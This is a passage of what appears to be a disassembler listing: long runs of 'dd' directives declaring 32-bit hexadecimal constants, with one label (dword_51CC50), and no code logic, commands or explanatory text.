5BFFBA0h dd 1FF3ECDh, 677FC799h, 4372797Dh, 0A7E32590h, 648AF0C0h dd 54831650h, 0C11D88B8h, 0D3C0197Bh, 6D7E31FBh, 43A72E13h dd 45E300D0h, 66746F86h, 0A67F370Eh, 658B2775h, 0C80A90F0h dd 34450743h, 72CFC494h, 9C6836AFh, 0E3010BA8h, 0B8BE75E9h dd 50606DE7h, 0F7F300C7h, 9DB9DF2Eh, 1100A32Bh, 0AFD5C47Bh dd 403017h, 0EEDB3A8Eh, 3701A8C9h, 2A9A7A01h, 52BF78Ch dd 24EFA0C0h, 13106215h, 0C7682159h, 529CD8ACh, 189440FFh dd 50005DC5h, 0E738FC1Ah, 7BBC2137h, 776D003Ch, 0D96A22B9h dd 9400BF1Dh, 7ED8F6F4h, 9348B59h, 0D6FD3024h, 321B6C01h dd 0D54464C3h, 1E90074Ch, 4080A370h, 5D0B4A8Dh, 43934833h dd 73BACA07h, 77458Ch, 8521DAB8h, 2A0CE349h, 98A1A727h dd 0D12300C8h, 0E964F42Eh, 3DFC06B5h, 32F34B00h, 437893F0h dd 84D300E7h, 0BD9FCF92h, 0A31E6EBAh, 0A102F46Dh, 407CE84Ah dd 0FCFEB69Eh, 35E5034Bh, 92075C15h, 40C5CE91h, 0B7A459C0h dd 0A6012E7Ch, 0AB4E7349h, 11F524FCh, 2700980h, 0C73DDB2Dh dd 35B85F03h, 90CA2C80h, 0E02BC8h, 0D2677E3Bh, 0F564CEFFh dd 8CC9C226h, 3400E91Dh, 0A6A51E27h, 0D660F9Dh, 0C0121CB2h dd 9E5FBE88h, 134B2B7Bh, 0F6AA5C00h, 5ADB64h, 556D0690h dd 72DD0358h, 0C656D902h, 40708934h, 0AC06D530h, 806D0F24h dd 1BA06BC1h, 0DA8635C7h, 16099F01h, 0C278F822h, 91C080D2h dd 0BC63D1h, 7E1ED42Ch, 454921D9h, 0DC58F504h, 688039EEh dd 978EC5h, 80CA7C72h, 9E5A106Bh, 0E17F1B12h, 0B9A26CC0h dd 48C0B847h, 66E05C5Fh, 1578C0D6h, 0AC4350DFh, 0AF2C4956h dd 8CF26F6Fh, 20B748E2h, 0CC2E5B1Dh, 0B4800C36h, 222F404Bh dd 797B2447h, 0A98C0256h, 68D49CDEh, 6EC5E51Ch, 2C810452h dd 39D08208h, 45D70086h, 5AD925AAh, 727141F0h, 614BB509h dd 0A72C04F3h, 6AD18CC0h, 0D2E900DCh, 52E6B788h, 0EE00868Ah dd 9A27C73h, 72CF9Fh, 9CE751E2h, 1CCE310Fh, 56ADF000h dd 76B55441h, 28450026h, 682EBB3Eh, 0A900E40Eh, 2F834F7Eh dd 7311F4Dh, 0D087E19Fh, 139BC0F0h, 401E2ED8h, 0DC80AFA3h dd 1D250E3Bh, 0F8FF009Fh, 69948050h, 0B10076AEh, 0A511C21Fh dd 4A93341h, 0C30E90A6h dd 0CC49C046h, 0D6005C84h, 0AB1BD788h, 72F4E8CFh, 762300E4h dd 509955A4h, 832877B3h, 9200AC20h, 0F7F834BDh, 1EFA266Bh dd 80FF6A41h, 9643D9A5h, 9800B5E1h, 68A02744h, 0C99046h dd 1C8595C7h, 0E28B9B1Ah, 929A3100h, 0B5516D1Fh, 3D21009Fh dd 0E1A67956h, 941C767Fh, 0A302C49Ah, 40ACCD2Bh, 1D88E8BCh dd 8326DF5Dh, 4A14364Dh, 5A7125F0h, 0A516A03h, 0B9EC69F4h dd 36F4DEA8h, 4DEA0948h, 7800DCD1h, 0C3BFB099h, 0DDD9B617h dd 9FF2403h, 238EF00Eh, 4EC98E7h, 9E95BE82h, 3166C02Fh dd 0BC164E87h, 8C402366h, 0B4EC03A8h, 84B0FC9h, 8249FE8Ah dd 784CA844h, 0FBD9027Ah, 41DEF3C8h, 0C02059C4h, 0BB8204DAh dd 0C767E6D1h, 5352E154h, 0C538202Fh, 2285DD00h, 0BB5CB395h dd 504D0246h, 26EDCCD9h, 0FAFB3440h, 54CBAB01h, 4E297343h dd 0A6EC8871h, 601B007Bh, 0CA5E0F4Ch, 9DEA2A8Ch, 0E4940090h dd 0A4F29183h, 4AB839B2h, 442E940Bh, 4E397C9Bh, 28990F0Ah dd 203F8992h, 486986A0h, 948300D4h, 6E9D265Ah, 4001F923h dd 0F4ED0F80h, 73C0FCB1h, 2AC40084h, 0F1DBA47Ch, 0A700A9F0h dd 0B5FFEEF2h, 75C006BDh, 0B0EB14C5h, 2D09F420h, 68C4CED9h dd 23EC8600h, 0EAE98AFBh, 122EF815h, 857791E1h, 28389704h dd 0C8DE4142h, 0AA7CCCh, 9DB7FAB1h, 96800C4Bh, 0F0AD4500h dd 72E5E4F3h, 39B9041Ah, 0D03295A7h, 5B8C278Ch, 9D5C2C05h dd 0DCD0041Bh, 0FE459Bh, 43837034h, 6D84DB4Fh, 246BB001h dd 95F73775h, 3E61BFE8h, 4B00A2B3h, 57444E2Ah, 8F1E3E8Dh dd 0F0406A92h, 2597E8C3h, 1685002Dh, 5A4AD39Bh, 5B48CA83h dd 0D24B0075h, 4401269Dh, 6DEEA6h, 1CDBE1AFh, 0F654308h dd 8B98E4F0h, 0D3B82E00h, 0EF0C5D80h, 5152008Ch, 49D992C8h dd 0E000A81Ah, 121EBA34h, 3C5D368h, 0E4C05E93h, 9BC8F595h dd 0DD03D784h, 1A407EE3h, 8237E01Eh, 5DC90169h, 49EFB512h dd 8AADC4BAh, 1301D890h, 7B392BDEh, 78204A2Fh, 0FC0A4C09h dd 0B801E025h, 0DBA1E5FDh, 0C06427B8h, 7FF5350Fh, 0D99440DFh dd 0B02365D1h, 0ACC915F4h, 3700A04Bh, 70ED0938h, 0F90AA4Ah dd 1100E77Eh, 0CDE4040Dh, 1788BADFh, 8908E0h, 5207C960h dd 93018F3Ch, 11D8AF86h, 1052E13Ah, 0FFCA0709h, 0AA16D200h dd 0D74A8BBh, 5EEBA74h, 3FEC22h, 0D58972E6h, 0F3025C8Fh dd 144808C0h, 92A02Bh, 70E1AC2Ch, 110D9FD9h, 0CCF7913Fh dd 415730DEh, 0EEF246AAh, 6576A7h, 649026F8h, 0E38E1E72h dd 9AC863Ch, 0E0FCA0FEh, 0C4673E8h, 35D157DDh, 0BD80AE98h dd 5AF08A8h, 0E08A3E1Bh, 0B006807h, 0F1D5F741h, 804700F9h dd 0AB3E5686h, 5170C8E7h, 9CD32503h, 0E88CD590h, 3F54DC2h dd 17873C3Fh, 6FE89D49h, 0B1002F62h, 0BEECBFB5h, 0DBCCFEh dd 0D0273AF0h, 0FDB08ADAh, 3F82300h, 0A76E0F87h, 0BC320983h dd 8F16CDh, 97B2C01Ch, 0C32AD21Dh, 42173D30h, 87CD8Ch dd 0F6EC65DFh, 5D24A6D0h, 358D9E07h, 18C0B662h, 576E39h dd 108ED33Ch, 6AD9B7B5h, 6B9ED40Fh, 60E62082h, 75163372h dd 1AF90453h, 800CD25Fh, 0F28D10Ch, 48340500h, 0AE179D7Ch dd 0A1C803DEh, 0DC645275h, 7E06D6B8h, 0C4577400h, 315D5078h dd 0F1A00362h, 0A6766ABDh, 0DB69A9B0h, 7528ED00h, 2CA1B256h dd 0E409FCEAh, 42470064h, 6B9BF859h, 690F067Bh, 0ACC1FAF1h dd 5B220D2h, 5682A60Dh, 26203851h, 524B078Eh, 4C7AE181h dd 0CB7BD530h, 0CF2CDB01h, 1701856Eh, 219D0898h, 601833Ah dd 0B8D58A4Eh, 92D0B73Ch, 0E0B567DCh, 8D0FF89Eh, 792E00AEh dd 0E8305281h, 8EBA3166h, 0DCD89211h, 0FD061B32h, 0C53356E0h dd 21AB6008h, 39BAF07Dh, 826E7700h, 88147135h, 808D3860h dd 0E9C55286h, 0F5389186h, 0FA2C801Fh, 0F9A91DA3h, 8E702AC1h dd 32680A88h, 1EC4ADD1h, 0CDF00A38h, 7200BC8Ch, 0DD5E545Ah dd 811B2531h, 0D60859D5h, 4D173B21h, 39D87400h, 2C3DC24Bh dd 413AB634h, 8C7C9C3Ah, 31CB7F03h, 0D8A9E779h, 0C8D703Fh dd 74ACE0D2h, 0DA6FAE29h, 0B6AF0381h, 90190080h, 0E2A2EC44h dd 9A6EBACAh, 81BEE331h, 3689D8B1h, 1EEF006Fh, 135898B9h dd 0E60065BCh, 0D94E838Eh, 260C894h, 0F9A71052h, 8882806Ch dd 5E18CCC4h, 0DE221154h, 940D8851h, 44008E13h, 7FA0AE56h dd 0D260BB04h, 0E8CB2A8h, 7BB40E01h, 0F54BEE33h, 0EEA78307h dd 575BD903h, 1BE7123h, 0DD5C5460h, 880B1881h, 54008315h dd 0FCDE0C1Ch, 0E0A09EBEh, 215A60CDh, 9701E53Fh, 0ED459304h dd 348E053Eh, 86C08F88h, 0A877E1A8h, 0EBA5B4h, 9A280DD6h dd 1749B8AAh, 6A88C800h, 1B4FCA9Bh, 9FBB18CFh, 813730B1h dd 7DB7800Ch, 7C11076h, 0D6699422h, 0E9B9161h, 6089541h dd 6ACF0194h, 0E897BD93h, 15FA4270h, 0F8B3BA6Fh, 180E5701h dd 526BF068h, 5D30BF98h, 0DD5F1454h, 10E0D069h, 67005458h dd 7EFD9FB6h, 0C06BBAE4h, 0BF3A9B99h, 0A1262FDCh, 7700C644h dd 0BA0E6435h, 0D1EC12A2h, 0D27C2031h, 93F0A9EBh, 665DFE07h dd 5807168h, 15851BF0h, 0A09BBD92h, 0EAF31001h, 0C06CC612h dd 4C014D63h, 255655AEh, 0F84B3B3Fh, 0B402A3DEh, 607D71A7h dd 206BEA84h, 0CC3050AAh, 72B629F1h, 0C4B10083h, 4CCAD9E3h dd 0EFE66B98h, 11555300h, 38A495DCh, 0C1191444h, 0EB84448h dd 0FE0728Ch, 141D1EF7h, 61C65000h, 0E439CC33h, 106381ABh dd 0A5B653E3h, 3F671C24h, 0AC80C7A7h, 22BED355h, 0A203FE10h dd 4C7BEAAFh, 44C94989h, 5C01DA23h, 61DD6854h, 29808423h dd 0CF90544Fh, 1F145700h, 0AE3CD594h, 0BEE827h, 6D1B0631h dd 0E4334492h, 617DE50Bh, 42390EEDh, 6155B490h, 9D24B98h dd 60835C04h, 2645F1CDh, 71F81F2Ch, 6106E834h, 0EC2F109h dd 1642221h, 0FCC444CEh, 2C6E4872h, 5E7E9804h, 0D5B088BDh dd 0A3E07B00h, 0EB90C804h, 1A5B01F5h, 5CC58617h, 4D5DE04Ah dd 0E153420Ch, 0E7771A3h, 0DE55A4C2h, 0A80F1DC0h, 9B002ED7h dd 5DE6FB47h, 26C687B9h, 74285C4Ch, 9440C646h, 201E419h dd 2D683AAEh, 0CC91C884h, 8671811h, 59DD6954h, 1207F1CEh dd 61B95482h, 6374E619h, 30C6A230h, 0BB38D30Fh, 44FA6F3h dd 0ECCD282h, 4DD899ADh, 0F1082F18h, 0C46F2CD7h, 0C73640DAh dd 1D7A28F1h, 0D6695333h, 7F1200C5h, 0D8F66FD3h, 11449705h dd 0D4845F0Ch, 9406D413h, 1F99652Ah, 419AD8D5h, 0F2B5C311h dd 0C0445B81h, 0FEBF2D2Fh, 7347015Bh, 0B8BD6F87h, 230C7329h dd 0C4461D64h, 62AD1BC8h, 0BE7320A0h, 7600BAB9h, 599E34E4h dd 4CB03277h, 143EC460h, 935E02C3h, 3041D655h, 0AB8074B0h dd 7B930066h, 5FDAF761h, 5B26BC14h, 1C1184B5h, 0EAE9904Ch dd 2438B130h, 4068B6CBh, 96D9D894h, 1523AA00h, 0FE13CFABh dd 823400E7h, 48CA543Dh, 0BD73E9FDh, 816B9618h, 32D8AE39h dd 541078BFh, 0EBFC40E0h, 0BC394C2Eh, 58DD5600h, 7232650h dd 0F7AD9882h, 0A58892E9h, 0E62F4E0h, 0FF501260h, 802FEAh dd 1603BF86h, 0DEB4BB36h, 6F38441Ch, 4ADF9680h, 0B16DB9h dd 1B2F068Ah, 56795E1Dh, 19D14800h, 0D44C778Dh, 45DA00D9h dd 1B765B86h, 6F0037F2h, 0C6B3C51Ch, 38D2C99Ah, 519C987Ch dd 497D0702h, 4A1DB1BCh, 0C2FCD87Eh, 0A123E00h, 0ED1B703Dh dd 0C7E400B0h, 0A218B3C9h, 861D880Ch, 0B1C02D98h, 99CEF213h dd 0E66D0062h, 877481ABh dd 77C4AD9h, 794E3900h, 802E316Ah, 0A3C600EEh, 2B230847h dd 1000EA82h, 6DBDD959h, 918921h, 4338AD2Ah, 0CE04ED26h dd 79D2C0C7h, 88A105A0h, 0FB6700D9h, 2B0CA9ABh, 7E1F9118h dd 0E418565h, 0FC046EECh, 0F267E8h, 43486A49h, 0FE333C20h dd 0A71AC800h, 0D247A20Fh, 0DE98005Eh, 0AE7E9262h, 31012856h dd 78C33D5Ah, 99D88777h, 0A0D4D026h, 0D6E14400h, 7F3FE88Eh dd 0A911100h, 0DB9B191Ch, 0D27600EFh, 0E2A14E2Dh, 202DD79h dd 22BBD0EEh, 24C0A0C9h, 0F6100CB9h, 3BC501F4h, 31AC464Fh dd 0AEC080CCh, 10870129h, 19670F57h, 60C0563Dh, 351113B6h dd 0C3F880C1h, 292016A8h, 4AD42A76h, 0E01109C0h, 0BA8036C7h dd 0FA5127Dh, 65F84CEEh, 6760CD3Ch, 8F0018C1h, 1D638FAh dd 0DCFC6EDBh, 50891412h, 5A19CE80h, 644DE30Fh, 3C9225D0h dd 5D76E003h, 327D9087h, 0EB8000F9h, 0E4675537h, 0E13D248Fh dd 0ED2B80B6h, 8D18E538h, 8BCA0F75h, 23A059D9h, 4AE993B5h dd 0DDEC6A00h, 0F535AA26h, 8B6D0148h, 0DBE434D5h, 7AA07AADh dd 0EB173956h, 49676A00h, 26D43E4Eh, 0BA3F40C0h, 2E14FB42h dd 3EF203D2h, 92CD8B80h, 54361596h, 4E0E5A03h, 0A08F1C9Dh dd 150C4A45h, 0C0CAABE7h, 0B9558701h, 3499BA63h, 8D000750h dd 845C9AC3h, 139449Eh, 60AD0376h, 6237D047h, 3008F230h dd 9C010CFAh, 0BFFC718Ah, 7FF4D20Dh, 0D34C0114h, 0AFF4F3B5h dd 63103090h, 25E5E63Dh, 80B43537h, 53BD8E13h, 450178B1h dd 4CB3F44Fh, 31F8AD97h, 50A42762h, 9B395400h, 44008814h dd 52807FC7h, 3F65063Eh, 89130E83h, 0DDE84FEDh, 57DA7600h dd 280051C4h, 8055F9C0h, 6D5DE4Fh, 4A06D35Dh, 3DE62078h dd 0A982073Ah, 63C1207Ch, 0D20C561Dh, 0D82CDC3Bh, 8CA3BC4Ch dd 9C8D3A03h, 0ABB7BCh, 0A0A3FC19h, 0C8CC569Dh, 0E7C714Ch dd 0C0F8390Dh, 64A99EB2h, 38EA14A1h, 0F93E8408h, 0B357AF0Fh dd 0E3641D96h, 19C4F11Dh, 8D62C51Bh, 0B9A97220h, 6E20130h dd 0F21EDC28h, 3FE89CA8h, 809E0A07h, 7B5AA210h, 18F13068h dd 2B671C08h, 7E325Ch, 0E34FCA08h, 8654DFh, 3D41B67Ah dd 0D42D47B1h, 725C7E06h, 39FE17h, 39B73CECh, 933A05DDh dd 0F894CE01h, 6972F38Dh, 4DE190E1h, 60B83088h, 5F29003Ch dd 0C408CACh, 76890182h, 4644A967h, 505A301Fh, 683930C0h dd 0FF70E32Ch, 0CB43880h, 1BD857DBh, 0E007380Ch, 60820828h dd 14D42064h, 0A8003BDBh, 0C8F04655h, 0C00F7DF8h, 7BEC7688h dd 156071D9h, 0ABAEA999h, 0FBC7001Fh, 658A099Bh, 4E87D73h dd 58D87C0Ch, 0EF70F0h, 0F55D8E70h, 6D665FBFh, 0FD0787EEh dd 2C6FA190h, 60A30D92h, 0F2D234h, 851A70B8h, 5C8A1DEDh dd 0DAE83C0Fh, 2A9C8598h, 0B2F2D80h, 0B2DC032Bh, 69B609C3h dd 0E490FFE0h, 0D907FD00h, 5C61195Eh, 70D500D6h, 0A35DE997h dd 0D700E489h, 0DEA984C5h, 1DE0559Fh, 18E12FC0h, 0BAE921B9h dd 8EA58400h, 78632634h, 0D7AA013Ch, 0D15160CCh, 0EAD9E4A9h dd 0C76E7506h, 39AFECh, 0CB3A5AB1h, 0FC196188h, 0A978CE06h dd 0F287733h, 41EB1EA2h, 80AAAD07h, 89708EF0h, 30F24D3Bh dd 41EA58E7h, 0AB600023h, 0A437E4C7h, 310C7289h, 11E5A1C1h dd 0AFE800C4h, 0CCB54B3Dh, 9D666A35h, 7221E008h, 49AF00A7h dd 68D4E4E5h, 0ED26AD23h, 0F9163FE7h, 5D0200EBh, 6DAAC499h dd 0FF412700h, 0BE638B1Ch, 7E20C107h, 0DFBDEDh, 1832E4B3h dd 10DD4D7Dh, 540027DCh, 8C4E1A20h, 771D5EE7h, 14CB0009h dd 61E2C6C2h, 0E80076AEh, 0AD658ABh, 4C2AD585h, 6E015077h dd 1293CFAAh, 0AB044BBDh, 360B717h, 92D0FA6Bh, 0AC871800h dd 24D9A6C6h, 18DA01D3h, 572E2B6Ch, 54FAD891h, 10FD2A03h dd 8C9C587h, 15672F29h, 424D223Fh, 0BE4A1148h, 51646B58h dd 105C2261h, 9789BC11h, 46C91441h, 8209012h, 5A9A75h dd 0E09D6505h, 739264FFh, 0B9840200h, 0C2A91A6Bh, 7A9801CEh dd 0EC2A6A33h, 0C422D032h, 23CCEA00h, 8AD44A2h, 6FB8D5h dd 0BDE6953Ah, 2F397EFFh, 8F3D55E4h, 0AEF58FEBh, 0A056809Dh dd 0C9CC2h, 4063CEDh, 4FFA42EEh, 67458F00h, 7CEA4C96h dd 185F40Bh, 6686B811h, 30029012h, 0A30063E7h, 19C996ECh dd 533DD0h, 759034Ch, 616482Ch, 7A6204Ch, 0FADA6079h, 0EAAC5C50h dd 3619079Bh, 0D3ECBFh, 116CDBADh, 0D42BD50Ah, 5801809Fh dd 0E032E690h, 9E7CD0h, 0BEE47DB5h, 0C40A15A1h, 0FE1F282Fh dd 0D900386Bh, 2A2F360Eh, 77003AE4h, 0EC885049h, 0FB1A109Fh dd 7FAA7883h, 4A882F25h, 64F8C9BFh, 0E792B13Ah, 0FD60E310h dd 0BD4206Ch, 0A286F369h, 0A77D6E80h, 0BE005D16h, 0DEAEDADCh dd 67117B7Ch, 0CC88860h, 8F00D8A8h, 82E9E52Fh, 700528h dd 0BD80E112h, 7D983A8Ah, 9B778600h, 0A926489Ah, 49CB07BCh dd 0D11A8D08h, 0D81F970Ch, 2E7B4CE1h, 2D5490C1h, 47E842FEh dd 0C09E005Dh, 0A7A33EC6h, 0C400905Fh, 21DB4F2Eh, 2B14CDh dd 2A0AF996h, 34A737ABh, 0C1FAFC00h, 5018193Dh, 0EA4101B0h dd 0CA0FFB6Fh, 0E2884058h, 7D00EB6Ch, 9275C2DDh, 0C7CBFF3h dd 7FD49E87h, 0E4E93708h, 7603E15Dh, 6B79F6AEh, 0F311A884h dd 0E250608Ah, 0D10A87A3h, 7D544B02h, 0D0C0FD77h, 7123006Dh dd 29C48EBDh, 5E7C990Ch, 0EBBF7200h, 2CBECC74h, 3B6D015Dh dd 6FB34947h, 0CE2AF48Eh, 43B25500h, 22F3E1D4h, 6E2D0063h dd 96D8D09Ah, 88004C01h, 92DCA659h, 7F7ABB3h, 73DE4BBEh dd 0EEDA43D5h, 0F760E8E2h, 0AE00A60Dh, 13FB819Ah, 0C75D3843h dd 0CF2AE0F8h, 1401396Bh, 0E4B6CF19h, 0BA001434h, 0CCB60C1h dd 6059107Fh, 1C3A1839h, 0B00CC05h, 0BAB1EB5Dh, 0C41603h dd 2185502Fh, 55E4A05Bh, 49F4B503h, 0C130C7h, 7FF64338h dd 478E03F5h, 8C9B4D00h, 6C9F8B90h, 35DE2C16h, 185801EBh dd 0C4C87A53h, 0FF00E5D1h, 7CC4049Dh, 9A72E9h, 0F5A17D1Ah dd 0A2C0D2AFh, 1081EB00h, 8AA88674h, 0E01704ABh, 80669247h dd 0BD7A6568h, 0D24ED72Ch, 33906200h, 372A4Dh, 0E73F5E03h dd 5519FCEDh, 97A66024h, 0C8001212h, 0BCE9AD56h, 3FDA00BBh dd 39CE04DEh, 78004BD9h, 0B5D7ED22h, 0CAE71Dh, 9FE2157Ch dd 9B95BE5Ch, 0E8A6800h, 0E9B46E91h, 3A3B02Ch, 8E76232h dd 0BFA0A65Ch, 19007F3Ah, 2D537060h, 347AE9Ah, 3BEBB224h dd 5B8952A9h, 4323F4C9h, 0E6F60100h, 411138A2h, 46960356h dd 179D58C0h, 9C3FF398h, 0D373DC09h, 7E802E2Fh, 0E0241B4Ah dd 0D5353B03h, 6028E217h, 9AFC4D02h, 0AFC11D24h, 0BAA6C098h dd 0F88B5FD8h, 459A6803h, 0E8748D73h, 4840902Fh, 0A6001464h dd 0EFB0F9B4h, 5A000322h, 6BB57826h, 8FC543h, 0B12FCA75h dd 70FA5298h, 5DD94E00h, 0A2F8EB8Bh, 0E84D1786h, 0FECE007Eh dd 393F8126h, 8B644C00h, 4B9AD227h, 0AEBF02DBh, 0C946D34Dh dd 5465E060h, 17728000h, 0C7E8CBDh, 0A7EF00C2h, 7B8F948Ah dd 0DB072957h, 2765F0D9h, 4B669D00h, 0CFD80083h, 0D36321F5h dd 3E032304h, 614CC7A1h, 374EE96Ah, 3CED9E8h, 0EFDD0365h dd 580E861Eh, 0C094F648h, 0EC6A9D41h, 0FD6C0316h, 6D5F4D66h dd 0E0CE0BF1h, 2000BE51h, 3B16775Ah, 0F85A14Fh, 7C469150h dd 288D7480h, 690E6DDBh, 409B9D38h, 0B924806Bh, 0FCB73B7Ch dd 681ACF00h, 33D2B5A0h, 0A7000E7Fh, 52BA81D5h, 1365A87Fh dd 0E63D43Dh dword_51CC50 dd 1740C1D0h, 0ECC3992h, 31CF2000h, 0EDC4D7DDh, 0E31B00E1h dd 49E4EB5Bh, 230F737Fh, 807591B0h, 9612DA7h, 672B0FA9h dd 2B2BFC4h, 4A7CA83Eh, 66E7B480h, 120797EEh, 5ABEA44Ch dd 0C93C0039h, 400ED0C7h, 0FD007942h, 9DAD6D2Ch, 2440A25Eh dd 801453B4h, 72BFDA78h, 7626D0E2h, 11027470h, 0C80A5F45h dd 60C9EF50h, 199D1875h, 84C10D3Dh, 49CF13A0h, 0ED1AEE0h dd 37C6B858h, 6845DD80h, 7E81243h, 0A3018C00h, 335C2DFEh dd 3E9800ABh, 0B0CB185Ah, 0CE24BF37h, 5626D404h, 9FA45D00h dd 0AA71FFh, 75EC0229h, 0D191CC2Ch, 3C0B03Ah, 81B4AFC4h dd 829BB93Ah, 6E30C0E2h, 5D0A00C6h, 6699BD10h, 71120580h dd 780026D6h, 6F96F10Bh, 0C8AA1FB6h, 6B208098h, 0A8C956BBh dd 4FEC61Fh, 0A20A3040h, 0CB68DAh, 0CCC849F9h, 0F427E31Ah dd 7A003278h, 0F3049F6Bh, 18ADAC96h, 60D5C0A9h, 3B148274h dd 0C878E8h, 89DDF1ABh, 0C0D03D8Dh, 0FA70E620h, 2B001079h dd 2E6DE42Fh, 2A29DFh, 0F972D825h, 0FC5E0CE2h, 9E00207Fh dd 365C56DBh, 4AECE9h, 22F0BC8h, 527D815h, 32A8BA02h, 80C9BC6Bh dd 2E456FF4h, 9D01360h, 0E208007Ch, 0E63BAFAEh, 8496493Bh dd 0A2629FFAh, 7E070480h, 287B60D5h, 19BAEC23h, 48F85458h dd 0CA9300ECh, 0E64CC34Fh, 9C30C2A5h, 0D6809D5Ch, 0E44B3D68h dd 0DFC3CE00h, 0E9FF0A89h, 0C40BA56h, 5187C74Dh, 0E0B031B8h dd 3A297C05h, 3BC4DC14h, 6B7D74C0h, 736700CAh, 0CDE02A0Fh dd 9300FE61h, 0E2B2A9DFh, 0DEB25h, 639BE5D6h, 0E8185ACh dd 4C795B79h, 0A102777Eh, 26AA4D7Ah, 1859C0E1h, 950100F8h dd 0EF41906Ah, 692451F9h, 0B800857Dh, 9C98963Fh, 0B10400EEh dd 34BEE984h, 8F075E97h, 78B64CCAh, 4A7EB70h, 0C5700F7Eh dd 1E076EDh, 802F88F9h, 71108709h, 0A2500009h, 78AD98h dd 0AEC38F6Ah, 5BA92F4h, 0FE00FF7Eh, 0E18C4021h, 77B7F14h dd 30D307D1h, 1CDCC0D2h, 0DD00177Eh, 691A602Ah, 2462D043h dd 9EA413CEh, 6EF24BDBh, 4F05E080h, 2600A7B9h, 79A02CFAh dd 39AB6F9Ch, 0C382F99Dh, 0D0F858DDh, 2800A88Bh, 1AAAE6EFh dd 89C4FA00h, 4A017491h, 5C813F3Bh, 0F57A0900h, 65E31357h dd 9FB8D4A3h, 0B500ACC8h, 7A5AE5C3h, 7CACCC0h, 979D9004h dd 0F0A72008h, 5707B385h, 59D4E0FFh, 65C0604Eh, 0F760ECDh dd 6FF3F033h, 0CB0CA281h, 0D07C2151h, 295C324Ah, 12E11F40h dd 0C1EAA441h, 0EC3045C8h, 39A50068h, 0E446BA93h, 56B0CAD1h dd 1ED46A5Ch, 0E8809486h, 595C933Dh, 5ACB00F4h, 65F2E2DDh dd 0B10BD864h, 0A0CC2538h, 129AB574h, 4B590043h, 0F3135FD6h dd 3B508423h, 2724398Ch, 4507F351h, 9960A656h, 3D4A343Fh dd 0A8C1669h, 0F44860B7h, 669744h, 4CE54AF2h, 319591B2h dd 5608572Eh, 1FC30D07h, 7B982DA0h, 72300CFh, 65108516h dd 7201D796h, 0BDB9B784h, 0E0706919h, 3BD8006Eh, 0D0504604h dd 0EC32B5E9h, 10057062h, 9E13DF77h, 611C49CBh, 4DAFB680h dd 0DB538Ah, 62BFCDB3h, 845DEBB7h, 0A7E0E9B0h, 0A2DCB101h dd 136AFECBh, 12EA0D8h, 0D4BDBF01h, 2038DD4Dh, 15044A14h dd 0BBED5CC0h, 1A5E00BEh, 0CC9C71A6h, 421FFF06h, 2AECB5Ah dd 78FDE3C8h, 0C8E0DC04h, 0DB056E8Ah, 0A8CEAC80h, 6FE910C0h dd 59778Bh, 0A2323E96h, 930FFC78h, 0BEA61B07h, 14310AD4h dd 3EF169C0h, 1702FFD0h, 0F90DE2h, 7CF758C1h, 690061CCh dd 1DC31622h, 0CAA344h, 5EBFB9C0h, 0C519879Eh, 0FF461800h dd 166E93E7h, 10310006h, 0B5D2CC83h, 9748DC1h, 87B85738h dd 6C355D99h, 0DFFC63A0h, 1C47F7Ah, 68223733h, 0E40DABA9h dd 1202F501h, 64E14272h, 47326046h, 2B2A0069h, 0A65AF1DEh dd 6A7931EAh, 0C7E83000h, 0EF72C123h, 988958A2h, 65FA5800h dd 3FC4BCB8h, 95EA0A0h, 0B10C3A2Ch, 0C6326700h, 0FF77361h dd 8A916DB1h, 443003Dh, 887CA458h, 0B4534126h, 4C00AC20h dd 0DAF94EDCh, 0E9C961h, 8925313Ah, 676C4468h, 0AD941700h dd 0D1BBBCF6h, 0BD42F321h, 20CC8087h, 56CB93h, 58693FDBh dd 0D47FB540h, 0BC227E03h, 7EACCC34h, 0BD5FEA0h, 3DCC480h dd 24FE3C0Ah, 852300ECh, 0F23F86B8h, 0FF8DF609h, 0F9DCA4A1h dd 0FC40A4h, 0E1C38C10h, 73204C01h, 250B648h, 0EBDA30DEh dd 0E4F8C07Eh, 0A74B50h, 6A5DB054h, 9A07FC8Ah, 73CE0AAEh dd 0FD92CE0h, 26C40388h, 40277C62h, 7F8AF08Fh, 8B0189FCh dd 201A836Bh, 0E824932Bh, 805C9687h, 1DED52C6h, 67EA8F86h dd 7DA3A0A0h, 0B7000D72h, 1B1CFB03h, 0F1A1957h, 0CC466F13h dd 0D5BA7640h, 551C1FACh, 0F580FEF6h, 0BB139904h, 0C78A034Fh dd 7F518D2Eh, 709BAAB1h, 9C00ED08h, 258F6B72h, 0E4AEBA8Ch dd 0FB8A0DBh, 0FB400071h, 9CDAA45Eh, 772AD8D0h, 0AB00C495h dd 0AFE99E1h, 486C1668h, 0CC00949Ch, 0AD64F50Bh, 4B0EF094h dd 0C7F984A3h, 6F61D111h, 0B8402923h, 0B5CB5h, 228075C6h dd 11853B95h, 51D30900h, 54C4D7D8h, 441801DFh, 9C3F9F73h dd 0A05F3095h, 0DA58117h, 304803AFh, 0E2E02CB2h, 0C09A08CCh dd 728A8B01h, 91B6760Bh, 740EFC2Ch, 29002E9Bh, 52C1DFC7h dd 76E633B8h, 2D3B4800h, 2EA2F169h, 0B0F2CCh, 0BD3E8FF0h dd 65F46A89h, 0DC2AD00Bh, 0C87C81FDh, 3AF0A374h, 0BF60B7Eh dd 0EB00BFF3h, 3C2E4609h, 3806E33Bh, 2A9E0913h, 0A7DA8003h dd 15EC4F1Fh, 80E8DF9Fh, 6059D000h, 4D8FAE8Ch, 90277E13h dd 60D9A40Fh, 1D8DEAC0h, 0BA4E61h, 3C820950h, 2C03DEBCh dd 20C51E3Bh, 0EAB5BB83h, 0B9F440AAh, 0FACA753Dh, 46D80E59h dd 7BC98C7Dh, 0BA651E80h, 4301B935h, 0D2807C41h, 40804ED6h dd 4C1A7F3Ch, 45071E59h, 0DA12E08Fh, 60119372h, 0C0ECEF54h dd 30347DB1h, 18009D74h, 1DA35A27h, 987336h, 0AF1F45C9h dd 2C0208ACh, 279CCB02h, 0C0A1ED64h, 5A87977h, 0AE7F8275h dd 9CD08018h, 0B02874AAh, 0A307D864h, 0B2263AB5h, 50027C12h dd 0F10524D4h, 1BCF820Ch, 0CE0B83Fh, 1F0024D5h, 993DF27Fh dd 423A63Eh, 0B9132252h, 0D1788034h, 4B009702h, 0D43FD0F5h dd 0F7D25Eh, 0CC905970h, 786CB62h, 21AF9900h, 3D654BCFh dd 0B67700F1h, 1F2832C1h, 99008FDAh, 4D5155E1h, 1EF9A64h dd 187DEC66h, 0F4AE6CBFh, 950006CDh, 0DF5E1CE0h, 0E5083h dd 8D8F5C47h, 7370B327h, 0C40099F0h, 5DCB290Dh, 9ABE5Fh dd 89649B38h, 